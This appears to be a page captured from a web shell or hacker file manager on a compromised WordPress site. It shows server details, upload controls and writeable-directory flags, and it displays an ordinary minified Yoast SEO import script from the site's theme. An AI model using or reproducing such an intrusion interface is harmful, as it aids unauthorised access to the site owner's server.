https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/KMU-CSR-PLANER/wp-content/themes/betheme/visual-builder/integrations/yoast/js/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //html/KMU-CSR-PLANER/wp-content/themes/betheme/visual-builder/integrations/yoast/js/dist/import.js
(()=>{"use strict";var t={n:e=>{var n=e&&e.__esModule?()=>e.default:()=>e;return t.d(n,{a:n}),n},d:(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const e=window.jQuery;var n=t.n(e);const r=window.wp.i18n;function o(t){return o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},o(t)}function i(t){var e=function(t){if("object"!=o(t)||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var n=e.call(t,"string");if("object"!=o(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==o(e)?e:e+""}function a(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,i(r.key),r)}}function s(t,e,n){return e&&a(t.prototype,e),n&&a(t,n),Object.defineProperty(t,"prototype",{writable:!1}),t}function c(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function u(t,e){if(e&&("object"==o(e)||"function"==typeof e))return e;if(void 0!==e)throw new TypeError("Derived constructors may only return object or undefined");return function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t)}function p(t){return p=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(t){return t.__proto__||Object.getPrototypeOf(t)},p(t)}function l(t,e){return l=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(t,e){return t.__proto__=e,t},l(t,e)}function f(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),Object.defineProperty(t,"prototype",{writable:!1}),e&&l(t,e)}function d(){try{var t=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(t){}return(d=function(){return!!t})()}function h(t){var e="function"==typeof Map?new Map:void 0;return h=function(t){if(null===t||!function(t){try{return-1!==Function.toString.call(t).indexOf("[native code]")}catch(e){return"function"==typeof t}}(t))return t;if("function"!=typeof t)throw new TypeError("Super expression must either be null or a function");if(void 0!==e){if(e.has(t))return e.get(t);e.set(t,n)}function n(){return function(t,e,n){if(d())return Reflect.construct.apply(null,arguments);var r=[null];r.push.apply(r,e);var o=new(t.bind.apply(t,r));return n&&l(o,n.prototype),o}(t,arguments,p(this).constructor)}return n.prototype=Object.create(t.prototype,{constructor:{value:n,enumerable:!1,writable:!0,configurable:!0}}),l(n,t)},h(t)}function y(){try{var t=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(t){}return(y=function(){return!!t})()}var m=function(t){function e(t){var n,r,o,i;return c(this,e),r=this,i=[t],o=p(o=e),(n=u(r,y()?Reflect.construct(o,i||[],p(r).constructor):o.apply(r,i))).name="ImportValidationError",n}return f(e,t),s(e)}(h(Error));function v(t,e,n,r,o,i,a){try{var s=t[i](a),c=s.value}catch(t){return void n(t)}s.done?e(c):Promise.resolve(c).then(r,o)}function w(t){return function(){var e=this,n=arguments;return new Promise(function(r,o){var i=t.apply(e,n);function a(t){v(i,r,o,a,s,"next",t)}function s(t){v(i,r,o,a,s,"throw",t)}a(void 0)})}}const b=window.lodash;function g(){try{var t=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(t){}return(g=function(){return!!t})()}var _=function(t){function e(t,n,r,o,i){var a,s,l,f;return c(this,e),s=this,f=[t],l=p(l=e),(a=u(s,g()?Reflect.construct(l,f||[],p(s).constructor):l.apply(s,f))).name="RequestError",a.url=n,a.method=r,a.statusCode=o,a.stackTrace=i,a}return f(e,t),s(e)}(h(Error));function x(){try{var t=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(t){}return(x=function(){return!!t})()}var O=function(t){function e(t,n){var r,o,i,a;return c(this,e),o=this,a=[t],i=p(i=e),(r=u(o,x()?Reflect.construct(i,a||[],p(o).constructor):i.apply(o,a))).name="ParseError",r.parseString=n,r}return f(e,t),s(e)}(h(Error));function I(){var t,e,n="function"==typeof Symbol?Symbol:{},r=n.iterator||"@@iterator",o=n.toStringTag||"@@toStringTag";function i(n,r,o,i){var c=r&&r.prototype instanceof s?r:s,u=Object.create(c.prototype);return j(u,"_invoke",function(n,r,o){var i,s,c,u=0,p=o||[],l=!1,f={p:0,n:0,v:t,a:d,f:d.bind(t,4),d:function(e,n){return i=e,s=0,c=t,f.n=n,a}};function d(n,r){for(s=n,c=r,e=0;!l&&u&&!o&&e<p.length;e++){var o,i=p[e],d=f.p,h=i[2];n>3?(o=h===r)&&(c=i[(s=i[4])?5:(s=3,3)],i[4]=i[5]=t):i[0]<=d&&((o=n<2&&d<i[1])?(s=0,f.v=r,f.n=i[1]):d<h&&(o=n<3||i[0]>r||r>h)&&(i[4]=n,i[5]=r,f.n=h,s=0))}if(o||n>1)return a;throw l=!0,r}return function(o,p,h){if(u>1)throw TypeError("Generator is already running");for(l&&1===p&&d(p,h),s=p,c=h;(e=s<2?t:c)||!l;){i||(s?s<3?(s>1&&(f.n=-1),d(s,c)):f.n=c:f.v=c);try{if(u=2,i){if(s||(o="next"),e=i[o]){if(!(e=e.call(i,c)))throw TypeError("iterator result is not an object");if(!e.done)return e;c=e.value,s<2&&(s=0)}else 1===s&&(e=i.return)&&e.call(i),s<2&&(c=TypeError("The iterator does not provide a '"+o+"' method"),s=1);i=t}else if((e=(l=f.n<0)?c:n.call(r,f))!==a)break}catch(e){i=t,s=1,c=e}finally{u=1}}return{value:e,done:l}}}(n,o,i),!0),u}var a={};function s(){}function c(){}function u(){}e=Object.getPrototypeOf;var p=[][r]?e(e([][r]())):(j(e={},r,function(){return this}),e),l=u.prototype=s.prototype=Object.create(p);function f(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,u):(t.__proto__=u,j(t,o,"GeneratorFunction")),t.prototype=Object.create(l),t}return c.prototype=u,j(l,"constructor",u),j(u,"constructor",c),c.displayName="GeneratorFunction",j(u,o,"GeneratorFunction"),j(l),j(l,o,"Generator"),j(l,r,function(){return this}),j(l,"toString",function(){return"[object Generator]"}),(I=function(){return{w:i,m:f}})()}function j(t,e,n,r){var o=Object.defineProperty;try{o({},"",{})}catch(t){o=0}j=function(t,e,n,r){function i(e,n){j(t,e,function(t){return this._invoke(e,n,t)})}e?o?o(t,e,{value:n,enumerable:!r,configurable:!r,writable:!r}):t[e]=n:(i("next",0),i("throw",1),i("return",2))},j(t,e,n,r)}var k,P,D,A,S,E,T,R,B,F,G,C=function(){return s(function t(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[];c(this,t),this.settings=e,(0,b.isObject)(n)?this.preIndexingActions=(0,b.pickBy)(n,b.isFunction):this.preIndexingActions={},(0,b.isObject)(r)?this.postIndexingActions=(0,b.pickBy)(r,b.isFunction):this.postIndexingActions={}},[{key:"index",value:(o=w(I().m(function t(e,n){var r,o,i,a,s;return I().w(function(t){for(;;)switch(t.n){case 0:if((0,b.isObject)(e)){t.n=1;break}return t.a(2,0);case 1:r=0,o=0,i=Object.keys(e);case 2:if(!(o<i.length)){t.n=5;break}return a=i[o],s=e[a],t.n=3,this.handleEndpoint(a,s,r,n);case 3:r=t.v;case 4:o++,t.n=2;break;case 5:return t.a(2,r)}},t,this)})),function(_x,t){return o.apply(this,arguments)})},{key:"handleEndpoint",value:(r=w(I().m(function t(e,n,r,o){var i,a;return I().w(function(t){for(;;)switch(t.n){case 0:i=this.settings.restApi.root+n;case 1:if(!1===i){t.n=5;break}return t.n=2,this.doPreIndexingAction(e);case 2:return t.n=3,this.doIndexingRequest(i);case 3:return a=t.v,t.n=4,this.doPostIndexingAction(e,a);case 4:r+=a.objects.length,o(r),i=!!a.next_url&&this.settings.restApi.root+a.next_url,t.n=1;break;case 5:return t.a(2,r)}},t,this)})),function(t,e,n,o){return r.apply(this,arguments)})},{key:"doIndexingRequest",value:(n=w(I().m(function t(e){var n,r,o,i;return I().w(function(t){for(;;)switch(t.p=t.n){case 0:return t.n=1,fetch(e,{method:"POST",headers:{"X-WP-Nonce":this.settings.restApi.nonce}});case 1:return n=t.v,t.n=2,n.text();case 2:r=t.v,t.p=3,o=JSON.parse(r),t.n=5;break;case 4:throw t.p=4,t.v,new O("Error parsing the response to JSON.",r);case 5:if(n.ok){t.n=7;break}if(i=o.data?o.data.stackTrace:"","wpseo_error_validation"!==(o.code?o.code:"")){t.n=6;break}throw new m(o.message);case 6:throw new _(o.message,e,"POST",n.status,i);case 7:return t.a(2,o)}},t,this,[[3,4]])})),function(t){return n.apply(this,arguments)})},{key:"doPreIndexingAction",value:(e=w(I().m(function t(e){return I().w(function(t){for(;;)switch(t.n){case 0:if(!this.preIndexingActions[e]){t.n=1;break}return t.n=1,this.preIndexingActions[e](this.settings);case 1:return t.a(2)}},t,this)})),function(t){return e.apply(this,arguments)})},{key:"doPostIndexingAction",value:(t=w(I().m(function t(e,n){return I().w(function(t){for(;;)switch(t.n){case 0:if(!this.postIndexingActions[e]){t.n=1;break}return t.n=1,this.postIndexingActions[e](n.objects,this.settings);case 1:return t.a(2)}},t,this)})),function(e,n){return t.apply(this,arguments)})}]);var t,e,n,r,o}(),N="WPSEO_Import_AIOSEO_V4";function q(t){var e=D,n=R,r=k;"import"===t&&(e=E,n=B,r=A),e.children(".yoast-import-spinner").show(),n.show(),e.closest("div").find(".yoast-import-failure").remove(),r.prop("disabled",!0)}function M(t){q("import")}function J(t){q("cleanup")}function V(t){var e=D,r=R,o=k,i=P;"import"===t&&(e=E,r=B,o=A,i=S),e.children(".yoast-import-spinner").hide(),r.hide(),e.children(".yoast-import-success-mark").show(),e.closest("div").find(".yoast-import-failure").remove(),o.prop("disabled",!1),n()("option:selected",i).remove(),n()("option[value='']",i).prop("selected",!0),i.trigger("change"),i.children("option").length<2&&(i.prop("disabled",!0),e.after(n()("<p></p>").text(window.yoastImportData.assets.no_data_msg)))}function W(){V("import")}function Q(){V("cleanup")}function X(t,e){var o,i=D,a=R,s=k,c=window.yoastImportData.assets.cleanup_failure;"import"===e&&(i=E,a=B,s=A,c=window.yoastImportData.assets.import_failure),i.children(".yoast-import-spinner").hide(),a.hide(),s.prop("disabled",!1),o=t instanceof m?window.yoastImportData.assets.validation_failure:(0,r.sprintf)(c,"<strong>"+t+"</strong>");var u=n()("<div>").addClass("yoast-measure yoast-import-failure").html(o);i.after(u)}function z(t){X(t,"import")}function H(t){X(t,"cleanup")}function K(t){S.val()===N&&(t.preventDefault(),new C(window.yoastImportData).index(window.yoastImportData.restApi.importing_endpoints.aioseo,M).then(W).catch(z))}function L(t){P.val()===N&&(t.preventDefault(),new C(window.yoastImportData).index(window.yoastImportData.restApi.cleanup_endpoints.aioseo,J).then(Q).catch(H))}function U(t){var e,o,i,a=t.closest("form").find("input[type=submit]");t.on("change",function(){""!==(e=n()(this).find("option:selected").attr("value"))?(a.prop("disabled",!1),t===S&&(o=(0,r.sprintf)(window.yoastImportData.assets.replacing_texts.select_header,n()(this).find("option:selected").text()),i=e===N?window.yoastImportData.assets.replacing_texts.plugins.aioseo:window.yoastImportData.assets.replacing_texts.plugins.other,o+="<ul style='list-style: disc; padding: 0 15px;'>",i.forEach(function(t){o+="<li>"+t.data_name+"<br/><i>"+t.data_note+"</i></li>"}),o+="</ul>",G.html(o))):a.prop("disabled",!0)})}n()(function(){(k=n()("[name='clean_external']")).val(window.yoastImportData.assets.replacing_texts.cleanup_button),P=n()("[name='clean_external_plugin']"),D=n()(k).parents("form:first"),A=n()("[name='import_external']"),S=n()("[name='import_external_plugin']"),(E=n()(A).parents("form:first")).after(n()("<p></p>").html("<strong>"+window.yoastImportData.assets.note+"</strong>"+window.yoastImportData.assets.cleanup_after_import_msg)),T=n()("<img>").addClass("yoast-import-spinner").attr("src",window.yoastImportData.assets.spinner).css({display:"inline-block","margin-left":"10px","vertical-align":"middle"}).hide(),B=n()("<span>").html(window.yoastImportData.assets.loading_msg_import).css({"margin-left":"5px","vertical-align":"middle"}).hide(),R=n()("<span>").html(window.yoastImportData.assets.loading_msg_cleanup).css({"margin-left":"5px","vertical-align":"middle"}).hide(),F=n()("<span>").addClass("dashicons dashicons-yes-alt yoast-import-success-mark").css({"margin-left":"10px","vertical-align":"middle",color:"green"}).hide(),(G=n()(".yoast-import-explanation")).html(window.yoastImportData.assets.replacing_texts.import_explanation),n()(".yoast-cleanup-explanation").html(window.yoastImportData.assets.replacing_texts.cleanup_explanation),S&&(U(S),S.append("<option value='' disabled='disabled' selected hidden>&mdash; "+window.yoastImportData.assets.select_placeholder+" &mdash;</option>").trigger("change")),P&&(U(P),P.append("<option value='' disabled='disabled' selected hidden>&mdash; "+window.yoastImportData.assets.select_placeholder+" &mdash;</option>").trigger("change")),E&&E.on("submit",K),D&&D.on("submit",L),n()(F).insertAfter([A,k]),n()(B).insertAfter(A),n()(R).insertAfter(k),n()(T).insertAfter([A,k])})})();

https://t.me/RX1948 - 2025